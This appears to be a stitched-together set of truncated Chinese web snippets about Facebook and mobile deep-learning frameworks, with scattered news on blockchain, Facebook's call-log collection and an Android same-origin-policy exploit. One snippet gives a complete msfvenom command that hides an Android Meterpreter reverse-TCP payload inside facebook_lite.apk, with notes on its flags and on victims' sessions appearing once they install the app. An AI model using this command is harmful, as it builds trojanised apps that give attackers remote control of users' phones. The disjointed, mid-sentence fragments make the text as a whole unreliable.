几个月前我们曾研究过Android同源策略（SOP）的漏洞，然而最近出现了一款利用此漏洞对Facebook用户进行攻击的恶意应用，其利用代码基于已公开的Metasploit测试代码。...相关阅读：Android（4.4版本以下）浏览器同源策略绕过漏洞 攻击过程 攻击是通过向某个特定Facebook网页引用恶意网站的链接来实现的。 此网页包含恶意的Javascript代码： ?...并且该内嵌框架还只有1像素（1px）的大小： ? 基于以上这些条件，同源策略被绕过。通过构造语句，攻击者从一个能外链的云存储空间加载了一个远程JS代码文件，该文件包含了本次攻击所需要的恶意代码。...黑莓官方由此发布了以下声明： “这款恶意软件的攻击对象为Facebook用户，其使用了Android同源策略绕过漏洞，且无视移动设备平台类型。...Google目前已经修复了这个Android同源策略漏洞。然而不是所有的用户都会去升级浏览器或安卓系统版本。因此除非设备的供应商能发布相应补丁，不然用户仍会处于威胁之中。
17.10.2 QNNPACK 全称：Quantized Neural Network PACKage（量化神经网络包） １、开源时间：2018年10月 ２、开源用户：Facebook ...3) 深度卷积 分组卷积（grouped convolution）将输入和输出通道分割成多组，然后对每个组进行分别处理。...在有限条件下，当组数等于通道数时，该卷积就是深度卷积，常用于当前的神经网络架构中。深度卷积对每个通道分别执行空间滤波，展示了与正常卷积非常不同的计算模式。...Facebook 研究者将量化 MobileNetV1 模型从 TensorFlow Lite 转换而来，并在 TensorFlow Lite 和 QNNPACK 的 32-bit ARM 设备上对 MobileNetV1...Facebook开源高性能内核库QNNPACK 百度安全验证 Facebook开源移动端深度学习加速框架，比TensorFlow Lite快一倍_DW卷积 支持移动端深度学习的几种开源框架 支持移动端深度学习的几种开源框架
同时，它已经将P30 Lite重新发布，并称其为“ P30 Lite New Edition”，两者都是2019年3月的旧版本，但它们都随机附有Google应用程序，华为也得以在中国以外地区维持其手机业务...最值得注意的是，Giphy为Facebook的Instagram提供了内置的搜索和标签功能，并将继续以这种方式运行。 04 微软AI可以根据电邮为用户生成智能备忘录 ?...目前并没有类似的AI系统存在，这意味着Microsoft必须开发从任务参数到对其深度神经网络进行训练的数据集的所有内容。...在3月份进行了桌面更新之后，Slack上周推出了适用于iOS和Android的移动应用程序的新版本。...拥有4亿用户的Telegram上周宣布，由于与SEC的长期纠纷，选择放弃此前的区块链网络计划（即Telegram开放网络）。
当前移动端的三大框架（Caffe2、TensorFlow Lite、Core ML）均使用 offline 方式，该方式可在无需网络连接的情况下确保用户数据的私密性。...接下来，AI 研习社将介绍当前主流的移动端深度学习框架，其中包括移动端三大框架——Facebook、谷歌、苹果三大巨头发布的 Caffe2、TensorFlow Lite、Core ML，新秀 Bender...目前，该框架还在不断更新与升级中，随着 TensorFlow 的用户群体越来越多，同时得益于谷歌的背书，假以时日，TensorFlow Lite 极大可能会成为在移动端和嵌入式设备上部署模型的推荐解决方案...MXNet 是一款开源的、轻量级、可移植的、灵活的深度学习库，它让用户可以混合使用符号编程模式和指令式编程模式来最大化效率和灵活性，目前已经是 AWS 官方推荐的深度学习框架。...MXNet 支持在移动设备（Android、iOS）上运行基于深度学习的图像识别等任务，它的性能如下： 依赖少，内存要求少，对于 Android 性能变化大的手机，通用性更高 MXNet 需要先使用 ndk
公链 以太坊未确认交易数量为33438笔，拥堵情况明显好转 EOS区块链活跃度指数排名第二 观点 报告显示：区块链人才呈现“虚假繁荣”的景象 “末日博士”连发数条推特抨击加密货币及区块链 调查：美国男性投资加密货币的意愿强于女性...委内瑞拉总统马杜罗呼吁工人阶级支持石油币 公司 微软开放包括HyperLedger项目的6万项专利 Facebook清理违规账号后，部分用户转向基于区块链的社区 瑞士奢侈手表品牌Hublot在中国推比特币腕表...数据同时显示，实际具备区块链相关技能和工作经验的求职者，也就是存量人才仅占需求量的7%。这样的局面导致区块链领域在人才热度上呈现“虚假繁荣”的景象。...（Forbes） 10.Facebook清理违规账号后，部分用户转向基于区块链的社区 据Bitcoin.com消息，在Facebook删除大量违规账号后，部分Facebook用户开始转向基于区块链的社区...一个名为Matter的博客网站已经引入BCH网络，该平台的行动全部由BCH网络提供支持。Matter称无人能访问用户的密钥，而用户可以在BCH链上存储任何文件。
许多与Ars交谈的Facebook用户以及我们独立的Facebook用户都分享了这种体验，我发现，我的Facebook数据存档包含2015年和2016年使用的特定Android设备的通话记录数据，以及SMS...在Android和Facebook Lite设备的Messenger应用程序的最新版本中，向用户提出了更明确的请求，以访问Android和Facebook Lite设备上的通话记录和短信日志。...但即使用户没有将该权限授予Messenger，他们也可能会在Facebook的移动应用程序中进行使用，因为Android在过去已经处理过访问通话记录权限的问题。...Google在2017年10月弃用了Android API的4.0版本 – 这是Facebook用户数据中最新的调用元数据被发现的时间点。Apple iOS从未允许“悄无声息”的访问通话数据。...在回应中，Facebook的一位发言人说: “通话和文本历史记录是在Android上使用Messenger或Facebook Lite的人选择的功能之一。
深度学习是机器学习中一种基于对数据进行表征学习的方法，作为当下最热门的话题，谷歌、Facebook、微软等巨头纷纷围绕深度学习做了一系列研究，一直在支持开源深度学习框架的建设。...深度学习是机器学习中一种基于对数据进行表征学习的方法，作为当下最热门的话题，谷歌、Facebook、微软等巨头纷纷围绕深度学习做了一系列研究，一直在支持开源深度学习框架的建设。...GitHub 地址：https://github.com/NervanaSystems/coach 针对移动终端，Facebook Caffe2 VS 谷歌 TensorFlow Lite ?...2017 年 4 月，Facebook 开源深度学习框架 Caffe2。根据官网介绍，它最大的特点就是轻量、模块化和扩展性好。...TensorFlow Lite 支持 Android 神经网络 API（Android Neural Networks API），当加速器（硬件设备）不可用时，TensorFlow Lite 会返回到
当前用于保护Android智能手机上的数据的存储加密利用了高级加密标准（AES）。而在低成本手机通常没有支持AES的处理器，这反过来会导致“糟糕的用户体验”，现在通过新的加密方式，提供了安全保障。...CODE https://github.com/google/adiantum Go and lite apps 优化操作系统只是过程的一部分-高效或精简的应用程序也至关重要。...其他流行的应用也创建了其旗舰应用程序的精简版，例如Facebook with Facebook Lite和Messenger Lite。...还有Spotify Lite，Opera Mini，Skype Lite 等。...Facebook最近还宣布了Project Lightspeed项目，该项目旨在将Messenger应用的大小减小到甚至只有30MB，并使其在两秒钟内启动。
大家好，继之前的12大深度学习开源框架之后，我们准备开通新的专栏《移动端DL框架》，这是第一篇文章，先来做一个总体的介绍，更多的细节可以关注以后的文章。...1 TensorFlow Lite 这是Google在2017年I/O开发者大会上开源的将TensorFlow训练好的模型迁移到Android App的框架，地址和一些学习资源如下： ?...TensorFlow Lite使用Android Neural Networks API，默认调用CPU，目前最新的版本已经支持GPU。 项目地址和相关学习资源如下。...https://tensorflow.google.cn/lite/ https://github.com/amitshekhariitbhu/Android-TensorFlow-Lite-Example...https://github.com/sh1r0/caffe-android-lib https://github.com/BUG1989/caffe-int8-convert-tools 总结 这一次先让大家对移动端的深度学习框架有一个印象
5000万用户信息外泄，这绝对是Facebook面临的有史以来最大的困境。...偏偏祸不单行，近期外媒爆料称Facebook已经收集Android手机用户通话和短信数据多年，有twitter用户给出了部分证据，再一次出发了大量Facebook用户的敏感神经。 ?...之所以会发现这样的问题，正是因为上周Facebook大规模的数据泄漏事件影响，很多用户决定卸载Facebook同时删除自己的个人资料。...Facebook表示，上传通话和短信历史记录是使用Messenger或Facebook Lite的Android用户可选功能的一部分。...的确，在Android手机上登录Facebook账户的时候，会有这个界面提示用户是否选择上传联系人、通话和短信记录的，选择“Not Now”则是选择不打开此项功能。
谷歌公司推出了Android O, 其亮点之一在于可消除复制粘贴的大麻烦。...Android O可自动识别和高亮电子邮件中的名字、地名、地址等文本，用户无需拖动箭头逐字逐句选中内容，便可轻轻松松地完成复制粘贴。 ?...Android O可自动识别和高亮电子邮件中的名字、地名、地址等文本，用户无需拖动箭头逐字逐句选中内容，便可轻轻松松地完成复制粘贴。...TensorFlow Lite虽小，但运行速度极快，大大改变了公司搭建和运行线上服务的方式。...Facebook也努力推进神经网络开发，现已使用神经网络添加类似Snapchat的过滤器而无需互联网呼叫。此外，Facebook还发布了一款类似于TensorFlow Lite的开源软件引擎。
4.移动端机器学习框架介绍 深度学习算法推断要在移动端落地，需要着重衡量尺寸和性能的限制，同时又要尽可能的提供给用户较好的体验（推断速度足够快）。...Q音探歌倾向使用成熟的机器学习框架快速搭建深度学习服务，我们对比了一些专注于为边缘设备带来高效深度学习的框架，包括NCNN, TensorFlow Lite, Pytorch Mobile 和 FeatherKit...4.3Pytorch Mobile - Caffe 2 Caffe是Facebook维护的一款跨平台的深度学习框架，从PyTorch 1.3开始，Caffe2成为PyTorch的一部分。...Caffe2在各种设备上提供了先进的移动深度学习功能，并且已通过Facebook应用程序系列广泛部署。目前，Caffe2已部署到十亿多个设备上，其中约75％基于Android，其余运行iOS。...图8: Android和iOS端各深度学习框架对比 5.Q音探歌与机器学习 Q音探歌在开发移动端深度学习服务方面做了很多努力。
该内核库加速了许多运算，如深度类型的卷积，促进了神经网络架构的使用。QNNPACK 已经被整合进 Facebook 应用，部署到了数十亿台设备中。...和 Caffe 一样，大部分深度学习框架转而使用基于 im2col 的实现，利用现有的高度优化矩阵相乘库来执行卷积操作。 Facebook 研究者在 QNNPACK 中实现了一种更高效的算法。...QNNPACK 和深度卷积 分组卷积（grouped convolution）将输入和输出通道分割成多组，然后对每个组进行分别处理。...在有限条件下，当组数等于通道数时，该卷积就是深度卷积，常用于当前的神经网络架构中。深度卷积对每个通道分别执行空间滤波，展示了与正常卷积非常不同的计算模式。...Facebook 研究者将量化 MobileNetV1 模型从 TensorFlow Lite 转换而来，并在 TensorFlow Lite 和 QNNPACK 的 32-bit ARM 设备上对 MobileNetV1
谷歌的AI产品从终端消费者角度切入，完全融汇到自己的全套互联网服务和Android平台上。这些少则数亿、多则数十亿的海量用户基数，是谷歌发展AI最得天独厚的竞争优势，也是可以直接转化的消费市场用户。...每一款经过AI加持的谷歌软件产品，都能给谷歌带来更多的用户数据，满足深度学习的训练需求。正因为如此，谷歌才从来不吝啬自己的平台，向iOS平台同步开放几乎每款AI软件产品。...虽然英特尔也曾宣布与Facebook合作打造AI芯片，但Facebook近期正在组建自己的AI处理器研发团队。 相比之下，微软与英特尔在AI时代的利益绑定得更加紧密。...在终端部分，Google为了日增的边缘运算需求而推出TensorFlow Lite，简单来说就是TensorFlow针对移动、嵌入式设备的轻量级解决方案。...通过TensorFlow Lite Converter将训练好的TensorFlow模型，转换为适用于TensorFlow Lite的档案格式，进而部署到Android及iOS的应用上。
鉴于在论文方面谷歌比 Facebook 更高产，一些研究者可能会发现掌握 TensorFlow 还是很有用的。...Lite。...TensorFlow Lite： TensorFlow Lite 用于在移动或物联网 / 嵌入式设备上部署 TensorFlow 模型。...TFLite 可用于 Android、iOS、微控制器和嵌入式 Linux。...TorchElastic： TorchElastic 是 AWS 和 Facebook 2020 年联合发布的分布式训练工具，可管理工作进程并协调重启行为，以便用户在计算节点集群上训练模型，这些节点可以动态变化而不会影响训练
本篇主要是python实现马尔科夫链归因，关联的文章： 多渠道归因分析（Attribution）：传统归因（一） 多渠道归因分析：互联网的归因江湖（二） 多渠道归因分析：python实现马尔可夫链归因（...这个归因逻辑会有点霸道，相当于用户看过广告，只要有转化，不管当次转化是不是Facebook广告带来的Facebook都要分钱。但是没办法，Facebook话语权足够大，要来买流量的大有人在。...当年Facebook 在东南亚推广Facebook lite 版本（即Facebook的轻量版本），Amazon在跟Shopee和Lazada在抢东南亚市场，这两个金主爸爸预算无上限。...以Amazon和 Facebook的品牌号召力，在应用商店的免费榜单也是名列前茅，主动到应用商店去下载的用户很多。...为了能更好的了解自然流量的占比情况，统计归因作弊的流量，Amazon 和 Facebook lite 版本在一个时间段内，直接在某几个国际地区上停止全部的广告投放。 结果，两个产品的自然流量大幅上涨。
直接在 kali 的 shell 下执行: msfvenom --platform android -x facebook_lite.apk -p android/meterpreter/reverse_tcp...LHOST=192.168.1.114 LPORT=3389 -o facebook_lite_after.apk 执行完上面的命令，meterpreter 一般会对 apk 进行： 1.解包。...结果成功：会生成一个 facebook_ lite_after.apk 的应用 结果失败：失败一般会发生在 2，3，4 处，因为有一些 apk 加固或者混淆了，解包之后的代码已经变了样，插入会出现错误，...命令解读: platform 指定平台，此处为 android。 x 指定使用的样板，可以理解为你要寄生在哪个 app 下面， 此处是寄生在 facebook_lite.apk。...运行后，当用户安装了前面第一步生成 apk，打开软件后，就会在 meterpreter 看到用户上线,这里大概说一下大概操作 大概会看到这样的字眼： 1 [*] Meterpreter session
把深度学习推断带到边缘设备( inference on the edge )，可以减少计算时间，改善用户体验，但是也面临着种种挑战。...2.介绍 2.1深度学习的边缘化发展的机遇 越来越多的服务会使用到深度学习的能力，例如给用户聚类、识别动作与跟踪、语音识别等等。...根据Facebook在2018年统计的数据显示，如图5所示，相当一部分Android设备搭载了损坏的OpenCL驱动程序。最糟糕的是有1%的设备在尝试加载OpenCL库时会发生崩溃。...可以看到在iOS上，使用Metal是主流，包括Tensorflow-Lite和Pytorch Mobile都使用了这种方案。而Android端的选择则要复杂的多。...GPU编程方案对比 深度学习算法推断要在移动端落地，需要着重衡量尺寸和性能的限制，同时又要尽可能的提供给用户较好的体验（推断速度足够快）。
1训练框架 Pytorch PyTorch是由Facebook人工智能研究小组开发的一种基于Lua编写的Torch库的Python实现的深度学习库，也是目前使用范围和体验感最好的一款深度学习框架。...项目链接：https://github.com/alibaba/MNN TensorFlow Lite 这是Google在2017年I/O开发者大会上开源的将TensorFlow训练好的模型迁移到Android...App的框架，地址和一些学习资源如下：TensorFlow Lite使用Android Neural Networks API，默认调用CPU，目前最新的版本已经支持GPU。...项目地址：https://github.com/PaddlePaddle/paddle-mobile caffe2 Caffe2是facebook在2017年发布的一个跨平台、轻量级、模块化和可扩展的深度学习框架...目前 NNIE 配套软件及工具链仅支持以 Caffe 框架，使用其他框架的网络模型需要转化 为 Caffe 框架下的模型。该框架在海思系列芯片上性能极佳，很大的缺陷就在于仅限于海思系列芯片。
这个成熟的深度学习系统叫 Caffe2Go，它的框架现在已经嵌入我们的手机app中。通过把用于处理图像和视频的AI模型压缩100倍，我们能够在iOS和Android设备上高效运行各种深度神经网络。...我们的应用机器学习团队一直致力于开发一个可以在移动设备上运行的AI平台。相机产品团队对用户的需求非常了解。...手机能够实时地看、说、理解，而无需连接到远程服务器，但它们也有局限性。...友好的开发环境 Caffe2也是我们的第一个具有产业实力的深度学习平台，可以在四个平台上用同样的代码集全速运行：服务器CPU，GPU，iOS和Android。...Caffe2go是Facebook 机器学习产品的核心，将开源 Caffe2go ，加上研究工具链比如Torch组成了Facebook 机器学习产品的核心。
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